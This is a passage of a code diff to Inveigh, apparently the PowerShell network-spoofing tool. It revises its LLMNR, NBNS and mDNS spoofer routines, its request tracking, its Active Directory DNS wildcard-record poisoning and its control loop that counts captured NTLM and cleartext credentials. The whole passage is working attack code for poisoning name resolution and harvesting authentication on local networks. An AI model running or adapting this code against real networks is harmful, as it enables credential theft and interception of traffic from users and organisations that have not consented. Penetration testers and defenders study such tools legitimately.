([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) $n += 2 } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) + until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15) + + if($NBNS_query_string -notmatch '[^\x00-\x7F]+') + { + + if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) + { + $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true + } + else + { + $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true + } + + } $NBNS_request_ignore = $false @@ -3527,7 +3646,7 @@ $sniffer_scriptblock = $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-" - $NBNS_UDP_client = new-Object System.Net.Sockets.UdpClient 137 + $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)] $NBNS_request_packet = $NBNS_transaction_ID_bytes + @@ -3549,7 +3668,7 @@ $sniffer_scriptblock = !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and ( $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and ( - $NBNSTypes -contains $NBNS_query_type) -and ($Evade -and $destination_IP.IPAddressToString -ne $IP)) + $NBNSTypes -contains $NBNS_query_type) -and ($EvadeRG -and $destination_IP.IPAddressToString -ne $IP) -and ($NBNSNonprintable -eq 'Y' -or ($NBNSNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+'))) { if($SpooferLearning -eq 'N' -or !$NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) @@ -3557,9 +3676,9 @@ $sniffer_scriptblock = $NBNS_send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) $NBNS_send_socket.SendBufferSize = 1024 $NBNS_destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) - $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) + $NBNS_send_socket.SendTo($NBNS_response_packet,$NBNS_destination_point) > $null $NBNS_send_socket.Close() - $NBNS_response_message = "[Response Sent]" + $NBNS_response_message = "[response sent]" } else { @@ -3569,13 +3688,13 @@ $sniffer_scriptblock = } else { - + if($source_IP -eq $IP -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { $NBNS_request_ignore = $true } - $NBNS_response_message = SpooferResponseMessage -query_string $NBNS_query_string -mDNS_type "" + $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" $NBNS_response_type = $NBNS_response_message[0] $NBNS_response_message = $NBNS_response_message[1] } @@ -3585,28 +3704,6 @@ $sniffer_scriptblock = if(!$NBNS_request_ignore -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00') { $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null - - if($inveigh.ADIDNS -eq 'Combo') - { - - if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) - { - $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) - $inveigh.request_table_updated = $true - } - else - { - - if($inveigh.request_table.$NBNS_query_string -NotContains $source_IP.IPAddressToString) - { - $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString - $inveigh.request_table_updated = $true - } - - } - - } - } elseif($SpooferLearning -eq 'Y' -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-00-00-01' -and $NBNS_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { @@ -3617,7 +3714,7 @@ $sniffer_scriptblock = if($inveigh.valid_host_list -notcontains $NBNS_query_string) { $inveigh.valid_host_list.Add($NBNS_query_string) > $null - $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [$NBNS_query_string added to valid host list]") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS response $NBNS_response_IP for $NBNS_query_string received from $source_IP [added to valid host list]") > $null } } @@ -3661,13 +3758,13 @@ $sniffer_scriptblock = $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) $send_socket.SendBufferSize = 1024 $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null $send_socket.Close() - $mDNS_response_message = "[Response Sent]" + $mDNS_response_message = "[response sent]" } else { - $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QU" + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" $mDNS_response_type = $mDNS_response_message[0] $mDNS_response_message = $mDNS_response_message[1] } @@ -3707,23 +3804,23 @@ $sniffer_scriptblock = !$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($mDNSTypes -contains 'QM')) { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) $send_socket.SendBufferSize = 1024 $destination_point = New-Object System.Net.IPEndpoint([IPAddress]"224.0.0.251",5353) - $send_socket.SendTo($mDNS_response_packet,$destination_point) + $send_socket.SendTo($mDNS_response_packet,$destination_point) > $null $send_socket.Close() - $mDNS_response_message = "[Response Sent]" + $mDNS_response_message = "[response sent]" } else { - $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QM" + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" $mDNS_response_type = $mDNS_response_message[0] $mDNS_response_message = $mDNS_response_message[1] } } - $inveigh.output_queue.Add("$($mDNS_response_message[0]) [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $($mDNS_response_message[1])") > $null + $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null } } @@ -3750,18 +3847,17 @@ $sniffer_scriptblock = 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + $LLMNR_response_data - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) - $LLMNR_query = $LLMNR_query -replace "-00","" + $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0","" - if($LLMNR_query.Length -eq 2) + if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) { - $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) - $LLMNR_query_string = New-Object System.String($LLMNR_query) + $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true } else { - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) + $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true } $LLMNR_request_ignore = $false @@ -3791,7 +3887,7 @@ $sniffer_scriptblock = { $LLMNR_learning_send = $true } - + if($LLMNR_learning_send) { $LLMNR_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) @@ -3820,17 +3916,18 @@ $sniffer_scriptblock = !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and ( !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ( $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ( - $Evade -and $destination_IP.IPAddressToString -ne $IP)) + $EvadeRG -and $destination_IP.IPAddressToString -ne $IP) -and @($inveigh.request_table.$LLMNR_query_string | Where-Object {$_ -match $source_IP.IPAddressToString}).Count -gt $SpooferThresholdHost -and @( + $inveigh.request_table.$LLMNR_query_string | Sort-Object | Get-Unique).Count -gt $SpooferThresholdNetwork) { if($SpooferLearning -eq 'N' -or !$LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { - $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) + $LLMNR_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) $LLMNR_send_socket.SendBufferSize = 1024 $LLMNR_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) + $LLMNR_send_socket.SendTo($LLMNR_response_packet,$LLMNR_destination_point) > $null $LLMNR_send_socket.Close() - $LLMNR_response_message = "[Response Sent]" + $LLMNR_response_message = "[response sent]" } else { @@ -3840,38 +3937,16 @@ $sniffer_scriptblock = } else { - $LLMNR_response_message = SpooferResponseMessage -query_string $LLMNR_query_string -mDNS_type "" + $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" $LLMNR_response_type = $LLMNR_response_message[0] $LLMNR_response_message = $LLMNR_response_message[1] } } - + if(!$LLMNR_request_ignore) { $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null - - if($inveigh.ADIDNS -eq 'Combo') - { - - if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) - { - $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) - $inveigh.request_table_updated = $true - } - else - { - - if($inveigh.request_table.$LLMNR_query_string -NotContains $source_IP.IPAddressToString) - { - $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString - $inveigh.request_table_updated = $true - } - - } - - } - } } @@ -3888,20 +3963,7 @@ $sniffer_scriptblock = if($SpooferLearning -eq 'Y' -and $LLMNR_learning_log.Exists({param($s) $s -like "* " + [System.BitConverter]::ToString($payload_bytes[0..1]) + " *"})) { - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes[12] + 13)]) - $LLMNR_query = $LLMNR_query -replace "-00","" - - if($LLMNR_query.Length -eq 2) - { - $LLMNR_query = [Char][System.Convert]::ToInt16($LLMNR_query,16) - $LLMNR_query_string = New-Object System.String($LLMNR_query) - } - else - { - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) - } - + $LLMNR_query_string = [System.Text.Encoding]::UTF8.GetString($payload_bytes[13..($payload_bytes.Length - 4)]) -replace "`0","" [Byte[]]$LLMNR_response_IP_bytes = $payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length)] $LLMNR_response_IP = [System.Net.IPAddress]$LLMNR_response_IP_bytes $LLMNR_response_IP = $LLMNR_response_IP.IPAddressToString @@ -3909,7 +3971,7 @@ $sniffer_scriptblock = if($inveigh.valid_host_list -notcontains $LLMNR_query_string) { $inveigh.valid_host_list.Add($LLMNR_query_string) > $null - $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [$LLMNR_query_string added to valid host list]") > $null + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $LLMNR_query_string LLMNR response $LLMNR_response_IP received from $source_IP [added to valid host list]") > $null } } @@ -3981,9 +4043,20 @@ $LLMNR_spoofer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() $LLMNR_query_string = [Text.Encoding]::UTF8.GetString($LLMNR_request_data[13..($LLMNR_request_data[12] + 12)]) - $source_IP = $LLMNR_listener_endpoint.Address.IPAddressToString + $source_IP = $LLMNR_listener_endpoint.Address $LLMNR_response_type = "[+]" + if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) + { + $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true + } + else + { + $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true + } + if(!$Inspect -and ($LLMNR_request_data -and $LLMNR_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP)) @@ -3996,41 +4069,19 @@ $LLMNR_spoofer_scriptblock = $LLMNR_multicast_group = [IPAddress]"224.0.0.252" $LLMNR_UDP_client.JoinMulticastGroup($LLMNR_multicast_group) $LLMNR_UDP_client.Client.ReceiveTimeout = 5000 - $LLMNR_response_message = "[Response Sent]" + $LLMNR_response_message = "[response sent]" } else { - $LLMNR_response_message = SpooferResponseMessage -query_string $LLMNR_query_string -mDNS_type "" + $LLMNR_response_message = Get-SpooferResponseMessage -QueryString $LLMNR_query_string -Type "LLMNR" } - if($LLMNR_request_data) + if($LLMNR_request_data) { $inveigh.output_queue.Add("$LLMNR_response_type [$(Get-Date -format s)] LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") > $null - - if($inveigh.ADIDNS -eq 'Combo') - { - - if(!$inveigh.request_table.ContainsKey($LLMNR_query_string)) - { - $inveigh.request_table.Add($LLMNR_query_string.ToLower(),[Array]$source_IP.IPAddressToString) - $inveigh.request_table_updated = $true - } - else - { - - if($inveigh.request_table.$LLMNR_query_string -NotContains $source_IP.IPAddressToString) - { - $inveigh.request_table.$LLMNR_query_string += $source_IP.IPAddressToString - $inveigh.request_table_updated = $true - } - - } - - } - } - $LLMNR_request_data = "" + $LLMNR_request_data = $null } } @@ -4090,7 +4141,7 @@ $mDNS_spoofer_scriptblock = $mDNS_query_string = Convert-DataToString 13 $mDNS_request_data[12] $mDNS_request_data $mDNS_query_string_full = $mDNS_query_string + ".local" - $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + $source_IP = $mDNS_listener_endpoint.Address $mDNS_response_type = "[+]" if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( @@ -4105,21 +4156,21 @@ $mDNS_spoofer_scriptblock = $mDNS_multicast_group = [IPAddress]"224.0.0.251" $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "[Response Sent]" + $mDNS_response_message = "[response sent]" } else { - $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QU" + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QU" $mDNS_response_type = $mDNS_response_message[0] - $mDNS_response_message = $mDNS_response_message[1] + $mDNS_response_message = $mDNS_response_message[1] } - if($mDNS_request_data) + if($mDNS_request_data) { $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QU) request $mDNS_query_string_full received from $source_IP $LLMNR_response_message") > $null } - $mDNS_request_data = "" + $mDNS_request_data = $null } elseif([System.BitConverter]::ToString($mDNS_request_data) -like '*-05-6C-6F-63-61-6C-00-00-01-00-01-*') { @@ -4134,7 +4185,7 @@ $mDNS_spoofer_scriptblock = $mDNS_query_string = Convert-DataToString 13 $mDNS_request_data[12] $mDNS_request_data $mDNS_query_string_full = $mDNS_query_string + ".local" - $source_IP = $mDNS_listener_endpoint.Address.IPAddressToString + $source_IP = $mDNS_listener_endpoint.Address $mDNS_response_type = "[+]" if(!$Inspect -and ($mDNS_request_data -and $mDNS_listener_endpoint.Address.IPAddressToString -ne '0.0.0.0') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $mDNS_query_string) -and ( @@ -4149,11 +4200,11 @@ $mDNS_spoofer_scriptblock = $mDNS_multicast_group = [IPAddress]"224.0.0.251" $mDNS_UDP_client.JoinMulticastGroup($mDNS_multicast_group) $mDNS_UDP_client.Client.ReceiveTimeout = 5000 - $mDNS_response_message = "[Response Sent]" + $mDNS_response_message = "[response sent]" } else { - $mDNS_response_message = SpooferResponseMessage -query_string $mDNS_query_string -mDNS_type "QM" + $mDNS_response_message = Get-SpooferResponseMessage -QueryString $mDNS_query_string -Type "mDNS" -mDNSType "QM" $mDNS_response_type = $mDNS_response_message[0] $mDNS_response_message = $mDNS_response_message[1] } @@ -4163,7 +4214,7 @@ $mDNS_spoofer_scriptblock = $inveigh.output_queue.Add("$mDNS_response_type [$(Get-Date -format s)] mDNS(QM) request $mDNS_query_string_full received from $source_IP $mDNS_response_message") > $null } - $mDNS_request_data = "" + $mDNS_request_data = $null } } @@ -4174,7 +4225,8 @@ $mDNS_spoofer_scriptblock = # Unprivileged NBNS Spoofer ScriptBlock $NBNS_spoofer_scriptblock = { - param ($Inspect,$NBNS_response_message,$SpooferIP,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$NBNSTTL) + param ($Inspect,$IP,$NBNS_response_message,$NBNSNonprintable,$NBNSTTL,$NBNSTypes,$SpooferIP,$SpooferHostsIgnore,$SpooferHostsReply, + $SpooferIPsIgnore,$SpooferIPsReply) $NBNS_running = $true $NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) @@ -4207,8 +4259,6 @@ $NBNS_spoofer_scriptblock = $NBNS_UDP_client.Client.ReceiveTimeout = 5000 } - $IP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address) - if($NBNS_request_data -and [System.BitConverter]::ToString($NBNS_request_data[10..11]) -ne '00-01') { $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) @@ -4222,57 +4272,17 @@ $NBNS_spoofer_scriptblock = ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + 0x00,0x00,0x00,0x00 - $source_IP = $NBNS_listener_endpoint.Address.IPAddressToString + $source_IP = $NBNS_listener_endpoint.Address $NBNS_query_type = [System.BitConverter]::ToString($NBNS_request_data[43..44]) + $NBNS_query_type = Get-NBNSQueryType $NBNS_query_type $NBNS_response_type = "[+]" - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = "00" - } - - '41-44' - { - $NBNS_query_type = "03" - } - - '43-41' - { - $NBNS_query_type = "20" - } - - '42-4C' - { - $NBNS_query_type = "1B" - } - - '42-4D' - { - $NBNS_query_type = "1C" - } - - '42-4E' - { - $NBNS_query_type = "1D" - } - - '42-4F' - { - $NBNS_query_type = "1E" - } - - } - $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" + $NBNS_query_string_subtracted = $null + $NBNS_query_string = $null $n = 0 do @@ -4281,7 +4291,7 @@ $NBNS_spoofer_scriptblock = $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) $n += 1 } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) + until($n -ge ($NBNS_query_string_encoded.Length)) $n = 0 @@ -4290,8 +4300,24 @@ $NBNS_spoofer_scriptblock = $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) $n += 2 } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - + until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15) + + if($NBNS_query_string -notmatch '[^\x00-\x7F]+') + { + + if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) + { + $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) + $inveigh.request_table_updated = $true + } + else + { + $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString + $inveigh.request_table_updated = $true + } + + } + if(!$Inspect -and ($NBNS_request_data -and $NBNS_listener_endpoint.Address.IPAddressToString -ne '255.255.255.255') -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and ( !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ( $inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP) -and ($NBNSTypes -contains $NBNS_query_type) -and ($source_IP -ne $IP)) @@ -4302,43 +4328,21 @@ $NBNS_spoofer_scriptblock = $NBNS_UDP_client.Close() $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 $NBNS_UDP_client.Client.ReceiveTimeout = 5000 - $NBNS_response_message = "[Response Sent]" + $NBNS_response_message = "[response sent]" } else { - $NBNS_response_message = SpooferResponseMessage -query_string $NBNS_query_string -mDNS_type "" + $NBNS_response_message = Get-SpooferResponseMessage -QueryString $NBNS_query_string -Type "NBNS" $NBNS_response_type = $NBNS_response_message[0] $NBNS_response_message = $NBNS_response_message[1] } if($NBNS_request_data) { - $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null - - if($inveigh.ADIDNS -eq 'Combo') - { - - if(!$inveigh.request_table.ContainsKey($NBNS_query_string)) - { - $inveigh.request_table.Add($NBNS_query_string.ToLower(),[Array]$source_IP.IPAddressToString) - $inveigh.request_table_updated = $true - } - else - { - - if($inveigh.request_table.$NBNS_query_string -NotContains $source_IP.IPAddressToString) - { - $inveigh.request_table.$NBNS_query_string += $source_IP.IPAddressToString - $inveigh.request_table_updated = $true - } - - } - - } - + $inveigh.output_queue.Add("$NBNS_response_type [$(Get-Date -format s)] NBNS request $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") > $null } - $NBNS_request_data = "" + $NBNS_request_data = $null } } @@ -4349,7 +4353,7 @@ $NBNS_spoofer_scriptblock = # NBNS BruteForce ScriptBlock $NBNS_bruteforce_spoofer_scriptblock = { - param ($SpooferIP,$NBNSBruteForceHost,$NBNSBruteForceTarget,$NBNSBruteForcePause,$NBNSTTL) + param ($NBNSBruteForceHost,$NBNSBruteForcePause,$NBNSBruteForceTarget,$NBNSTTL,$SpooferIP) $NBNSBruteForceHost = $NBNSBruteForceHost.ToUpper() @@ -4433,15 +4437,16 @@ $NBNS_bruteforce_spoofer_scriptblock = } # Control Loop ScriptBlock -$control_scriptblock = +$control_scriptblock = { - param ($ADIDNSCredential,$ADIDNSDomain,$ADIDNSDomainController,$ADIDNSHostsIgnore,$ADIDNSIP,$ADIDNSPartition, - $ADIDNSThreshold,$ADIDNSTTL,$ADIDNSZone,$ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime) + param ($ADIDNSCleanup,[System.Management.Automation.PSCredential]$ADIDNSCredential,$ADIDNSDomain, + $ADIDNSDomainController,$ADIDNSForest,$ADIDNSHostsIgnore,$ADIDNSPartition,$ADIDNSThreshold,$ADIDNSTTL, + $ADIDNSZone,$ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime,$SpooferIP) - function OutputQueueLoop + function Invoke-OutputQueueLoop { - while($inveigh.output_queue.Count -gt 0 -and !$inveigh.output_pause) + while($inveigh.output_queue.Count -gt 0) { $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null @@ -4487,7 +4492,7 @@ $control_scriptblock = } - if($inveigh.ADIDNS -eq 'Wildcard') + if($ADIDNSCleanup -eq 'Y' -and $inveigh.ADIDNS -eq 'Wildcard') { try @@ -4503,19 +4508,19 @@ $control_scriptblock = } - if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.DNS_table.Count -gt 0) + if($ADIDNSCleanup -eq 'Y' -and $inveigh.ADIDNS -eq 'Combo' -and $inveigh.ADIDNS_table.Count -gt 0) { - foreach($DNS_host in $inveigh.DNS_table.Keys) + foreach($DNS_host in $inveigh.ADIDNS_table.Keys) { - if($inveigh.DNS_table.$DNS_host -eq 1) + if($inveigh.ADIDNS_table.$DNS_host -eq 1) { try { Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $DNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone - $inveigh.DNS_table.$DNS_host = "" + $inveigh.ADIDNS_table.$DNS_host = $null } catch { @@ -4533,21 +4538,29 @@ $control_scriptblock = if($inveigh.relay_running) { - Start-Sleep -S 1 + Start-Sleep -m 100 if($Message) { $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $Message") > $null } + else + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting") > $null + } + + if(!$inveigh.running) + { + Invoke-OutputQueueLoop + Start-Sleep -m 100 + } - OutputQueueLoop - Start-Sleep -S 1 $inveigh.relay_running = $false } if($inveigh.running) { - Start-Sleep -S 1 + Start-Sleep -m 100 if($Message) { @@ -4558,8 +4571,8 @@ $control_scriptblock = $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting") > $null } - OutputQueueLoop - Start-Sleep -S 1 + Invoke-OutputQueueLoop + Start-Sleep -m 100 $inveigh.running = $false } @@ -4568,7 +4581,7 @@ $control_scriptblock = if($inveigh.ADIDNS -eq 'Wildcard') { - Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $ADIDNSIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node '*' -Partition $ADIDNSPartition -TTL $ADIDNSTTL -Zone $ADIDNSZone + Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Node '*' -Partition $ADIDNSPartition -TTL $ADIDNSTTL -Zone $ADIDNSZone } if($NBNSBruteForcePause) @@ -4604,7 +4617,7 @@ $control_scriptblock = if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) { - Stop-InveighRunspace "run count" + Stop-InveighRunspace "reaching run count" } } @@ -4614,7 +4627,7 @@ $control_scriptblock = if($control_stopwatch.Elapsed -ge $control_timeout) { - Stop-InveighRunspace "run time" + Stop-InveighRunspace "reaching run time" } } @@ -4624,7 +4637,7 @@ $control_scriptblock = try { - Invoke-ADIDNSCheck -Credential $ADIDNSCredential -Data $ADIDNSIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Ignore $ADIDNSHostsIgnore -Partition $ADIDNSPartition -RequestTable $inveigh.request_table -Threshold $ADIDNSThreshold -TTL 